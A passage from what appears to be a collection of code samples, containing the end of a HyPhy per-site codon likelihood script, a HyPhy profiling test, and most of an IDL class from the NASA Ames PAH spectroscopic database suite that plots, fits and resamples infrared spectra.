ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"496\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 497...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1488,1489,1490\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 497\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"497\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 498...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1491,1492,1493\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 498\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"498\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"Completed HYPHY script hyphy_cmds.bf.\\n\");"
  },
  {
    "path": "samples/HyPhy/profile_test.bf",
    "content": "#profile START;\r\rs = 0;\rm = {5,1};\r\rfor (k=0; k<250000; k=k+1)\r{\r\ts = s + k;\r\tt = Random (0,5);\r\tm [t] = m [t] + 1;\r}\r\r#profile PAUSE;\r\rs2 = 0;\rfor (k=1; k<10000; k=k+1)\r{\r\ts2 = s2+1/k;\r}\r\r#profile _hyphy_profile_dump;\r\rstats  \t\t\t= _hyphy_profile_dump[\"STATS\"];\r_profile_summer\t= {1,Rows(stats)};\r_profile_summer = _profile_summer[\"1\"] * stats;\r_instructions   = _hyphy_profile_dump[\"INSTRUCTION\"];\r_indices\t    = _hyphy_profile_dump[\"INSTRUCTION INDEX\"];\r\rfprintf (stdout, \"\\nTotal run time (seconds)      : \", Format(_profile_summer[1]/1000000,15,6),\r\t\t\t\t \"\\nTotal number of steps         : \", Format(_profile_summer[0],15,0), \"\\n\\n\");\r\t\t\t\t \rfor (k=0; k<Columns(_instructions); k=k+1)\r{\r\tfprintf (stdout, Format (_indices[k],6,0), \" : \", _instructions[k], \"\\n\\tCall count: \", stats[k][0], \r\t\t\t\t\t\t\t\t\t\t\t\t   \"\\n\\tTime (seconds): \", stats[k][1]/1000000, \"\\n\");\r}"
  },
  {
    "path": "samples/IDL/amespahdbidlsuite_spectrum__define.pro",
    "content": "; docformat = 'rst'\n\n;+\n;\n; Class to manage a spectrum.\n;\n; Updated versions of the NASA Ames PAH IR Spectroscopic Database and\n; more information can be found at: `www.astrochemistry.org/pahdb <https://www.astrochemistry.org/pahdb>`.\n;\n; :Examples:\n;   Create and destroy an\n;   AmesPAHdbIDLSuite_Spectrum-instance::\n;\n;     IDL> spectrum = OBJ_NEW('AmesPAHdbIDLSuite_Spectrum')\n;     IDL> spectrum->Set,data\n;     IDL> spectrum->Plot\n;     IDL> OBJ_DESTROY,spectrum\n;\n; :Author:\n;   Dr. Christiaan Boersma\n;\n; :Copyright:\n;   BSD licensed\n;\n; :History:\n;   Changes::\n;\n;     07-08-2022\n;     Pass EXTERNAL_NNLS to FIT in MCFIT. Christiaan Boersma.\n;     05-18-2022\n;     Use HISTOGRAM speed-up in PLOT. Christiaan Boersma.\n;     04-28-2022\n;     Clean up OBSERVATION in MCFIT when internally generated.\n;     Christiaan Boersma.\n;     04-27-2022\n;     Added MCFIT and corrected small typos in description of FIT.\n;     Christiaan Boersma.\n;     08-17-2021\n;     Don't try and access pointer when it is not set in DESCRIPTION.\n;     Christiaan Boersma.\n;     05-03-2021\n;     Avoid potential issues when self.uids and self.data.uid don't have \n;     the same ordering. Christiaan Boersma.\n;     05-02-2021\n;     Added NOTICE-keyword to FIT. Christiaan Boersma.\n;     04-30-2021\n;     Refactored FIT to make use of matrix operation.\n;     Christiaan Boersma.\n;     09-19-2017\n;     Fixed !NULL value in return for FWHM in FIT.\n;     06-27-2016\n;     Added EXTERNAL_NNLS-keyword to FIT. Christiaan Boersma.\n;     03-23-2016\n;     Removed unnecessary declaration of 'weights' in FIT. Christiaan\n;     Boersma.\n;     03-18-2016\n;     Replaced [ ] with !NULL in NNLS to avoid compiler error for IDL\n;     version older than 8. Christiaan Boersma.\n;     11-05-2015\n;     Added REGRID. Christiaan Boersma.\n;     07-12-2015\n;     Added method to FIT. Christiaan Boersma.\n;     02-01-2015\n;     First version of the file. Christiaan Boersma.\n;-\n\n;+\n;  Output spectrum description.\n;\n;  :Params:\n;     Str: out, optional, type=\"string array\"\n;       Ouput to Str\n;\n; :Categories:\n;   INFORMATIVE\n;-\nPRO AmesPAHdbIDLSuite_Spectrum::Description,Str\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  self->AmesPAHdbIDLSuite_Data::Description,Str\n\n  Str = [Str, STRING(FORMAT='(A-12,\":\",X,g-8.4,X,A-0)', \"shift\", self.shift, \"cm!U-1!N\")]\n\n  Str = [Str, STRING(FORMAT='(A-12,\":\",X,A-0)', \"profile\", self.profile)]\n\n  IF PTR_VALID(self.fwhm) THEN BEGIN\n\n    IF SIZE(*self.fwhm, /TYPE) EQ 8 THEN BEGIN\n\n      IF N_ELEMENTS((*self.fwhm)) GT 4 THEN fwhm = (*self.fwhm)[0:3].fwhm $\n      ELSE fwhm = (*self.fwhm).fwhm\n\n      fwhm = STRJOIN(STRTRIM(STRING(FORMAT='(g-7.3)', fwhm), 2), \",\")\n\n      fwhm += \",...\"\n\n      Str = [Str, STRING(FORMAT='(A-12,\":\",X,A-0,X,A-0)', \"FWHM\", fwhm, \"cm!U-1!N\")]\n\n      Str = [Str, STRING(FORMAT='(A-12,\":\",X,A-0)', \"|_sectioned\", \"yes\")]\n\n    ENDIF ELSE Str = [Str, STRING(FORMAT='(A-12,\":\",X,g-8.4,X,A-0)', \"FWHM\", *self.fwhm, \"cm!U-1!N\")]\n\n  ENDIF\n\n  Str = STRJOIN(Str, \"!C\")\n\n  IF N_PARAMS() GT 0 THEN RETURN\n\n  PRINT,STRJOIN(STRSPLIT(Str, \"!C\", /EXTRACT, /REGEX), STRING(10B))\nEND\n\n;+\n;  Plot the spectrum.\n;\n;  :Keywords:\n;    Wavelength: in, optional, type=int\n;      Whether to set the abscissa units to wavelength\n;    Stick: in, optional, type=int\n;      Whether to plot the spectrum as sticks\n;    Fill: in, optional, type=int\n;       Whether to solid-fill the spectrum\n;    Oplot: in, optional, type=int\n;      Whether to draw over a previous plot\n;    Legend: in, optional, type=int\n;      Whether to show a legend\n;    Color: in, optional, type=int\n;      Color to plot the spectrum with\n;    _EXTRA: in, optional, type=struct\n;      Required for IDL's keyword-inheritance mechanism\n;\n; :Categories:\n;   PLOTTING\n;-\nPRO AmesPAHdbIDLSuite_Spectrum::Plot,Wavelength=Wavelength,Stick=Stick,Fill=Fill,Oplot=Oplot,Legend=Legend,Color=Color,_EXTRA=EXTRA\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  self->AmesPAHdbIDLSuite_Plot::Setup,Oplot=Oplot,XSIZE=600,YSIZE=400\n\n  x = *self.grid\n\n  nx = N_ELEMENTS(x)\n\n  xunits = self.units.abscissa.str\n\n  xrange = [MAX(x, MIN=xmin), xmin]\n\n  IF KEYWORD_SET(Wavelength) THEN BEGIN\n\n     x = 1D4 / x\n\n     xrange = [MIN(x, MAX=xmax), xmax]\n\n     xunits = 'wavelength [!Mm!Xm]'\n  ENDIF\n\n  IF NOT KEYWORD_SET(Oplot) THEN self->AmesPAHdbIDLSuite_Plot::Plot,REFORM(REBIN(x,nx,self.nuids),self.nuids*nx),(*self.data).intensity,Color=Color,XRANGE=xrange,XTITLE=xunits,YTITLE=self.units.ordinate.str,/NoData,Stick=Stick,_EXTRA=EXTRA\n\n  IF NOT KEYWORD_SET(Color) THEN Color = 2\n\n  h = HISTOGRAM((*self.data).uid, MIN=0, REVERSE_INDICES=ri)\n\n  FOR i = 0, self.nuids - 1 DO BEGIN\n\n     select = ri[ri[(*self.uids)[i]]:ri[(*self.uids)[i]+1]-1]\n\n     self->AmesPAHdbIDLSuite_Plot::Oplot,x,(*self.data)[select].intensity,Stick=Stick,Fill=Fill,COLOR=Color+i\n  ENDFOR\n\n  IF SIZE(Legend, /TYPE) EQ 0 THEN Legend = 1\n\n  IF Legend THEN BEGIN\n\n     self->Description,outs\n\n     self->AmesPAHdbIDLSuite_Plot::Legend,outs\n  ENDIF\n\n  self->AmesPAHdbIDLSuite_Plot::Restore\nEND\n\n;+\n; Write the spectrum to file as an IPAC-table.\n;\n; :Params:\n;   Filename: in, optional, type=string\n;     Output filename\n;\n; :Categories:\n;   OUTPUT\n;-\nPRO AmesPAHdbIDLSuite_Spectrum::Write,Filename\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  IF N_PARAMS() LT 1 THEN Filename = OBJ_CLASS(self) + '.tbl'\n\n  timestamp = SYSTIME()\n  hdr = []\n  FXADDPAR,hdr,\"DATE\",timestamp,\" Date this file was generated\"\n  FXADDPAR,hdr,\"ORIGIN\",\"NASA Ames Research Center\",\" Organization generating this file\"\n  FXADDPAR,hdr,\"CREATOR\",STRING(FORMAT='(\"IDL\",X,A0,X,\"on\",X,A0)', !VERSION.RELEASE, !VERSION.OS_NAME),\" Software used to create this file\"\n  FXADDPAR,hdr,\"SOFTWARE\",\"AmesPAHdbIDLSuite\",\" Program used to create this file\"\n  FXADDPAR,hdr,\"AUTHOR\",\"Dr. C. Boersma\",\" Author of the program\"\n  FXADDPAR,hdr,\"TYPE\",OBJ_CLASS(self),\" AmesPAHdbIDLSuite data type\"\n\n  self->Description,description\n\n  comments = STRSPLIT(description, \"!C\", /EXTRACT, /REGEX, COUNT=ncomments)\n\n  FOR i = 0L, ncomments - 1 DO FXADDPAR,hdr,\"COMMENT\",comments[i]\n\n  IF self.units.abscissa.str THEN $\n     abscissa = STREGEX(self.units.abscissa.str, '(.*) \\[(.*)\\]', /SUBEXPR, /EXTRACT) $\n  ELSE $\n     abscissa = ['', 'abscissa', '']\n\n  IF self.units.ordinate.str THEN $\n     ordinate = STREGEX(self.units.ordinate.str, '(.*) \\[(.*)\\]', /SUBEXPR, /EXTRACT) $\n  ELSE $\n     ordinate = ['', 'ordinate', '']\n\n  half_abscissa_len = STRLEN(abscissa[1]) / 2\n  half_ordinate_len = STRLEN(ordinate[1]) / 2\n\n  fmt1 = '(\"|\",A' + STRING(FORMAT='(I0)', 12 + half_abscissa_len) + ',' + STRING(FORMAT='(I0)', 13 - half_abscissa_len) + 'X,' + $\n          '\"|\",A' + STRING(FORMAT='(I0)', 12 + half_ordinate_len) + ',' + STRING(FORMAT='(I0)', 13 - half_ordinate_len) + 'X,' + $\n          '\"|\",A' + STRING(FORMAT='(I0)',  6 + 3) + ',' + STRING(FORMAT='(I0)',  6 - 3) + 'X,' + $\n          '\"|\")'\n\n  fmt2 = '(\"|\",A' + STRING(FORMAT='(I0)', 12 + 3) + ',' + STRING(FORMAT='(I0)', 13 - 3) + 'X,' + $\n          '\"|\",A' + STRING(FORMAT='(I0)', 12 + 3) + ',' + STRING(FORMAT='(I0)', 13 - 3) + 'X,' + $\n          '\"|\",A' + STRING(FORMAT='(I0)',  6 + 3) + ',' + STRING(FORMAT='(I0)',  6 - 3) + 'X,' + $\n          '\"|\")'\n\n  half_abscissa_len = STRLEN(abscissa[2]) / 2\n  half_ordinate_len = STRLEN(ordinate[2]) / 2\n\n  fmt3 = '(\"|\",A' + STRING(FORMAT='(I0)', 12 + half_abscissa_len) + ',' + STRING(FORMAT='(I0)', 13 - half_abscissa_len) + 'X,' + $\n          '\"|\",A' + STRING(FORMAT='(I0)', 12 + half_ordinate_len) + ',' + STRING(FORMAT='(I0)', 13 - half_ordinate_len) + 'X,' + $\n          '\"|\",A' + STRING(FORMAT='(I0)',  6 + 3) + ',' + STRING(FORMAT='(I0)',  6 - 3) + 'X,' + $\n          '\"|\")'\n\n  cols = [STRING(FORMAT=fmt1,STRUPCASE(abscissa[1]),STRUPCASE(ordinate[1]),'UID'), $\n          STRING(FORMAT=fmt2,\"double\",\"double\",\"int\"), $\n          STRING(FORMAT=fmt3,abscissa[2],ordinate[2],\"\")]\n\n  n = N_ELEMENTS(*self.grid)\n  intensities = REFORM((*self.data).intensity, n, self.nuids)\n  srt = SORT(*self.uids)\n  intensities = intensities[*, srt]\n\n  OPENW,funit,Filename,/GET_LUN\n  PRINTF,funit,FORMAT='(\"\\\",A0)',hdr[0:WHERE(STRPOS(hdr, 'END') EQ 0)]\n  PRINTF,funit,STRJOIN(cols, STRING( 10B ))\n  n = N_ELEMENTS(*self.grid)\n\n  FOR i = 0L, self.nuids - 1L DO BEGIN\n     FOR j = 0L, n - 1L DO PRINTF,funit,FORMAT='(X,F25.6,X,F25.6,X,I)',(*self.grid)[j],intensities[j,i],(*self.uids)[i]\n  ENDFOR\n  CLOSE,funit\n  FREE_LUN,funit\n\n  PRINT\n  PRINT,\"=========================================================\"\n  PRINT,\"    WRITTEN IPAC TABLE: \", Filename\n  PRINT,\"=========================================================\"\n  PRINT\nEND\n\n;+\n;  Implementation of the non-negative least-squares algorithm.\n;\n;  :Params:\n;    A: in, required, type=\"double array (2D)\"\n;      Matrix\n;    b: in, required, type=\"double array (1D)\"\n;      Vector\n;    tol: in, optional, type=double\n;      Tolerance\n;    max_iter: in, optional, type=long\n;      Maximum number of iterations\n;\n; :Categories:\n;   FITTING\n;\n; :Private:\n;-\nPRO AmesPAHdbIDLSuite_Spectrum::NNLS,A,b,tol,max_iter\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR, 2\n\n  IF N_PARAMS() LT 4 THEN BEGIN\n     max_iter = 100\n     IF N_PARAMS() LT 3 THEN tol = 1D-16\n  ENDIF\n\n  A        = DOUBLE(A)\n  b        = DOUBLE(b)\n  tol      = DOUBLE(tol)\n  max_iter = LONG(max_iter)\n\n  s_struct = SIZE(A, /STRUCTURE)\n  m        = s_struct.dimensions[0]\n  n        = s_struct.dimensions[1]\n  w        = MAKE_ARRAY(m, VALUE=-1D)\n  x        = DBLARR(m)\n  P        = !NULL\n  Z        = INDGEN(m)\n\n  k        = 0L\n\n  WHILE (Z NE !NULL) AND (k LT max_iter) DO BEGIN\n\n     IF WHERE(-w[Z] GT tol, /NULL) EQ !NULL THEN BREAK\n\n     k += 1L\n\n     tapbp = A#b\n\n     IF P EQ !NULL THEN BEGIN\n        w     = -tapbp\n     ENDIF ELSE BEGIN\n        tapap = A#TRANSPOSE(A[P, *])\n        w     = -tapbp + tapap#x[P]\n     ENDELSE\n\n     IF WHERE(-w[Z] GT tol, /NULL) EQ !NULL THEN BREAK\n\n     wi      = MAX(-w[Z], i)\n     P       = [P, Z[i]]\n     nz      = N_ELEMENTS(Z)\n     IF nz EQ 1 THEN BEGIN\n        Z = !NULL\n     ENDIF ELSE BEGIN\n        Z = Z[WHERE(HISTOGRAM([i], MIN=0, MAX=nz-1) EQ 0)]\n     ENDELSE\n\n     WHILE 1 DO BEGIN\n\n        zz    = DBLARR(m)\n        zz[P] = LA_LEAST_SQUARES(A[P,*],b)\n\n        IF WHERE(zz[P] LE 0, /NULL) EQ !NULL THEN BEGIN\n           x = zz\n           BREAK\n        ENDIF\n\n        P_ZN    = P[WHERE(zz[P] LE tol, /NULL)]\n        alpha   = MIN(x[P_ZN]/(x[P_ZN] - zz[P_ZN]))\n        x[P]    = x[P] + alpha*(zz[P]-x[P])\n        temp    = WHERE(ABS(x[P]) LE tol, /NULL)\n        Z       = [Z, P[temp]]\n        np      = N_ELEMENTS(P)\n        IF np EQ N_ELEMENTS(temp) THEN BEGIN\n           P = !NULL\n        ENDIF ELSE IF temp NE !NULL THEN BEGIN\n           P = P[WHERE(HISTOGRAM(temp, MIN=0, MAX=np-1) EQ 0)]\n        ENDIF\n     ENDWHILE\n  ENDWHILE\n  b=x\n  max_iter=k\nEND\n\n;+\n;  Perform a spectroscopic fit.\n;\n;  :Returns:\n;    AmesPAHdbIDLSuite_Fitted_Spectrum\n;\n;  :Params:\n;    observation: in, required, type=\"double array (1D) or AmesPAHdbIDLSuite_Observation\"\n;      Observed spectrum\n;    error: in, optional, type=\"double array (1D)\"\n;      Uncertainties associated with observation\n;\n;  :Keywords:\n;    EXTERNAL_NNLS: in, optional, type=int\n;     Whether to use an externally defined NNLS-routine\n;    NOTICE: in, optional, type=int, default=1\n;     Whether to show notices\n;\n; :Categories:\n;   FITTING\n;-\nFUNCTION AmesPAHdbIDLSuite_Spectrum::Fit,observation,error,EXTERNAL_NNLS=external_nnls,Notice=Notice\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  IF SIZE(Notice, /TYPE) EQ 0 THEN Notice = 1\n\n  type = SIZE(observation, /STRUCTURE)\n\n  has_error = 0\n\n  IF type.type_name EQ 'OBJREF' THEN BEGIN\n\n     IF OBJ_CLASS(observation) EQ 'AMESPAHDBIDLSUITE_OBSERVATION' THEN BEGIN\n\n        observation->AbscissaUnitsTo,1,Notice=Notice\n\n        observation_s = observation->get()\n\n        IF NOT ARRAY_EQUAL(*self.grid, observation_s.data.x) THEN BEGIN\n           PRINT\n           PRINT,\"=========================================================\"\n           PRINT,\"      DATA AND OBSERVATION GRIDS ARE NOT THE SAME        \"\n           PRINT,\"=========================================================\"\n           PRINT\n           RETURN,OBJ_NEW()\n        ENDIF\n\n        IF TOTAL(observation_s.data.ystdev) GT 0 THEN has_error = 1\n     ENDIF ELSE BEGIN\n        PRINT\n        PRINT,\"=========================================================\"\n        PRINT,\" OBJECT SHOULD BE AN AMESPAHDBIDLSUITE_OBSERVATION: \"+type.type_name\n        PRINT,\"=========================================================\"\n        PRINT\n        self.state = 0\n        RETURN,OBJ_NEW()\n     ENDELSE\n  ENDIF ELSE BEGIN\n\n     IF N_PARAMS() GT 1 THEN BEGIN\n\n        tmp = OBJ_NEW('AmesPAHdbIDLSuite_Observation', $\n                      X=*self.grid, $\n                      Y=observation, $\n                      ErrY=error)\n\n        has_error = 1\n     ENDIF ELSE tmp = OBJ_NEW('AmesPAHdbIDLSuite_Observation', $\n                              X=*self.grid, $\n                              Y=observation)\n\n     observation_s = tmp->get()\n\n     OBJ_DESTROY,tmp\n  ENDELSE\n\n  ny = N_ELEMENTS(observation_s.data.y)\n\n  matrix = TRANSPOSE(REFORM((*self.data).intensity, ny, self.nuids))\n\n  m = matrix\n\n  b = observation_s.data.y - observation_s.data.continuum\n\n  IF has_error THEN BEGIN\n\n     IF Notice THEN BEGIN\n       PRINT\n       PRINT,\"=========================================================\"\n       PRINT,\"                     DOING NNLC                          \"\n       PRINT,\"=========================================================\"\n       PRINT\n     ENDIF\n\n     b /= observation_s.data.ystdev\n\n     m /= TRANSPOSE(REBIN(observation_s.data.ystdev, ny, self.nuids))\n\n     method = 'NNLC'\n  ENDIF ELSE BEGIN\n     IF Notice THEN BEGIN\n       PRINT\n       PRINT,\"=========================================================\"\n       PRINT,\"                     DOING NNLS                          \"\n       PRINT,\"=========================================================\"\n       PRINT\n     ENDIF\n\n     method = 'NNLS'\n  ENDELSE\n\n  READS,!VERSION.RELEASE,idl_version\n\n  IF idl_version GE 8.0 AND NOT KEYWORD_SET(EXTERNAL_NNLS) THEN BEGIN\n\n     self->NNLS,m,b\n\n     weights = b\n  ENDIF ELSE IF NOT KEYWORD_SET(EXTERNAL_NNLS) THEN BEGIN\n     PRINT\n     PRINT,\"=========================================================\"\n     PRINT,\"         FIT REQUIRES IDL VERSION 8.0 OR HIGHER: \"+!VERSION.RELEASE\n     PRINT,\"=========================================================\"\n     PRINT\n     self.state = 0\n     RETURN,OBJ_NEW()\n  ENDIF ELSE BEGIN\n     IF Notice THEN BEGIN\n       PRINT\n       PRINT,\"=========================================================\"\n       PRINT,\"                   USING EXTERNAL NNLS                   \"\n       PRINT,\"=========================================================\"\n       PRINT\n     ENDIF\n     weights = DBLARR(self.nuids, /NOZERO)\n     enorm = 0D\n     w = DBLARR(self.nuids)\n     indx = LONARR(self.nuids)\n     mode = 0\n     NNLS,m,ny,self.nuids,b,weights,enorm,w,indx,mode\n  ENDELSE\n\n  valid = WHERE(weights GT 0, nvalid)\n\n  IF nvalid EQ 0 THEN BEGIN\n     PRINT\n     PRINT,\"=========================================================\"\n     PRINT,\"                UNABLE TO FIND SOLUTION                  \"\n     PRINT,\"=========================================================\"\n     PRINT\n     self.state = 0\n     RETURN,OBJ_NEW()\n  ENDIF\n\n  IF Notice THEN BEGIN\n    PRINT\n    PRINT,\"=========================================================\"\n    PRINT,\" NOTICE: PLEASE TAKE CONSIDERABLE CARE WHEN INTERPRETING \"\n    PRINT,\" THESE RESULTS AND PUTTING THEM IN AN ASTRONOMICAL       \"\n    PRINT,\" CONTEXT. THERE ARE MANY SUBTLETIES THAT NEED TO BE TAKEN\"\n    PRINT,\" INTO ACCOUNT, RANGING FROM PAH SIZE, INCLUSION OF       \"\n    PRINT,\" HETEROATOMS, ETC. TO DETAILS OF THE APPLIED EMISSION    \"\n    PRINT,\" MODEL, BEFORE ANY THOROUGH ASSESSMENT CAN BE MADE.      \"\n    PRINT,\"=========================================================\"\n    PRINT\n  ENDIF\n\n  uids = (*self.data)[UNIQ((*self.data).uid)].uid\n\n  _weights = REPLICATE({AmesPAHdbIDLSuite_Weights_S, $\n                        uid:0L, $\n                        weight:0D}, nvalid)\n\n  _weights.uid = uids[valid]\n\n  _weights.weight = weights[valid]\n\n  data = REPLICATE({AmesPAHdbIDLSuite_Fitted_S, $\n                    intensity:0D, $\n                    uid:0L}, ny * nvalid)\n\n  FOR i = 0, nvalid - 1 DO BEGIN\n\n     data[i*ny:(i+1)*ny-1].uid = uids[valid[i]]\n\n     data[i*ny:(i+1)*ny-1].intensity = weights[valid[i]] * REFORM(matrix[valid[i], *], /OVERWRITE)\n  ENDFOR\n\n  RETURN,OBJ_NEW('AmesPAHdbIDLSuite_Fitted_Spectrum', $\n                 Type=self.type, $\n                 Version=self.version, $\n                 Data=data, $\n                 PAHdb=self.database, $\n                 Uids=uids[valid], $\n                 Model=*self.model, $\n                 Units=self.units, $\n                 Shift=self.shift, $\n                 Grid=*self.grid, $\n                 Profile=self.profile, $\n                 FWHM=self.fwhm NE !NULL ? *self.fwhm : !NULL, $\n                 Observation=observation_s, $\n                 Weights=_weights, $\n                 Method=method)\nEND\n\n;+\n;  Perform spectroscopic fits using a Monte Carlo approach.\n;\n;  :Returns:\n;    AmesPAHdbIDLSuite_MCFitted_Spectrum\n;\n;  :Params:\n;    observation: in, required, type=\"double array (1D) or AmesPAHdbIDLSuite_Observation\"\n;      Observed spectrum\n;    error: in, required, type=\"double array (1D)\"\n;      Uncertainties associated with observation\n;    samples: in, required, type=int\n;      Number of Monte Carlo samples\n;\n;  :Keywords:\n;    UNIFORM: in, optional, type=int\n;     Whether to use a uniform rather than a normal distribution to permutate the errors.\n;    EXTERNAL_NNLS: in, optional, type=int\n;     Whether to use an externally defined NNLS-routine.\n;\n; :Categories:\n;   FITTING\n;-\nFUNCTION AmesPAHdbIDLSuite_Spectrum::MCFit,observation,error,samples,EXTERNAL_NNLS=external_nnls,Uniform=Uniform\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  type = SIZE(observation, /STRUCTURE)\n\n  IF type.type_name EQ 'OBJREF' THEN BEGIN\n\n    samples = error\n\n    obs = observation\n\n    obs_s = obs->Get()\n\n    y = obs_s.data.y\n    ystdev = obs_s.data.ystdev\n  ENDIF ELSE BEGIN\n\n     IF N_PARAMS() GT 1 THEN $\n       obs = OBJ_NEW('AmesPAHdbIDLSuite_Observation', $\n                      X=*self.grid, $\n                      Y=observation, $\n                      ErrY=error) $\n     ELSE $\n       obs = OBJ_NEW('AmesPAHdbIDLSuite_Observation', $\n                     X=*self.grid, $\n                     Y=observation)\n\n     y = observation\n     ystdev = error\n  ENDELSE\n\n  ny = N_ELEMENTS(y)\n\n  obj = OBJARR(samples)\n\n  PRINT\n  PRINT,\"=========================================================\"\n  PRINT,\"                 DOING MONTE CARLO                       \"\n  PRINT,\"=========================================================\"\n  PRINT\n\n  PRINT\n  PRINT,\"=========================================================\"\n  IF KEYWORD_SET(Uniform) THEN $ \n     PRINT,\"           DRAWING FROM UNIFORM DISTRIBUTION             \" $\n   ELSE $\n     PRINT,\"            DRAWING FROM NORMAL DISTRIBUTION          \"\n  PRINT,\"=========================================================\"\n  PRINT\n\n  PRINT\n  PRINT,\"=========================================================\"\n  FOR i = 0L, samples - 1L DO BEGIN\n  \n    PRINT,FORMAT='(\"' + STRING(13B) + 'mc:\",X,I5,\"/\",I5,$)',i+1L,samples\n\n    obs->Set,Y=y + ystdev * (NOT KEYWORD_SET(Uniform) ? RANDOMU(seed, ny, /DOUBLE, /NORMAL) $\n                                                      : (2D * RANDOMU(seed, ny, /DOUBLE, /UNIFORM) - 1D))\n\n    obj[i] = self->Fit(obs, EXTERNAL_NNLS=external_nnls, Notice=0)\n  ENDFOR\n  PRINT\n  PRINT,\"=========================================================\"\n\n  IF type.type_name NE 'OBJREF' THEN OBJ_DESTROY,obs\n\n  RETURN,OBJ_NEW('AmesPAHdbIDLSuite_MCFitted_Spectrum', $\n                  Type=self.type, $\n                  Obj=obj, $\n                  Distribution=KEYWORD_SET(Uniform) ? 'uniform' : 'normal')\nEND\n\n;+\n;  Resample the spectrum onto a provided grid.\n;\n;  :Params:\n;    grid: in, required, type=\"double array (1D)\"\n;      The grid\n;\n; :Categories:\n;   MANIPULATE\n;-\nPRO AmesPAHdbIDLSuite_Spectrum::Resample,grid\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  IF NOT PTR_VALID(self.data) THEN BEGIN\n     PRINT\n     PRINT,\"=========================================================\"\n     PRINT,\"                         NO DATA                         \"\n     PRINT,\"=========================================================\"\n     PRINT\n     self.state = 0\n     RETURN\n  ENDIF\n\n  ngrid1 = N_ELEMENTS(grid)\n\n  Data = REPLICATE({AmesPAHdbSpectrum_S, $\n                    intensity:0D, $\n                    uid:0L}, ngrid1 * self.nuids)\n\n  ngrid2 = N_ELEMENTS(*self.grid)\n\n  uids = (*self.data)[UNIQ((*self.data).uid)].uid\n\n  i = 0\n\n  FOR j = 0, ngrid1 - 1 DO BEGIN\n\n     idx = i\n\n     WHILE i + 1 LT ngrid2 - 1 DO BEGIN\n\n        IF (*self.grid)[i+1] GT grid[j] THEN BREAK\n\n        idx = [idx, ++i]\n     ENDWHILE\n\n     FOR k = 0, self.nuids - 1 DO BEGIN\n\n        Data[k*ngrid1+j].uid = uids[k]\n\n        IF N_ELEMENTS(idx) EQ 1 THEN BEGIN\n\n           IF (*self.grid)[i] GE grid[0] AND (*self.grid)[i] LE grid[ngrid1-1] THEN Data[k*ngrid1+j].intensity = (*self.data)[k*ngrid2+i].intensity\n        ENDIF ELSE Data[k*ngrid1+j].intensity = MEAN((*self.data)[k*ngrid2+idx].intensity)\n     ENDFOR\n  ENDFOR\n\n  PTR_FREE,self.grid\n\n  self.grid = PTR_NEW(grid)\n\n  PTR_FREE,self.data\n\n  self.data = PTR_NEW(Data)\nEND\n\n;+\n;  Co-adds the spectra\n;\n;  :Returns:\n;    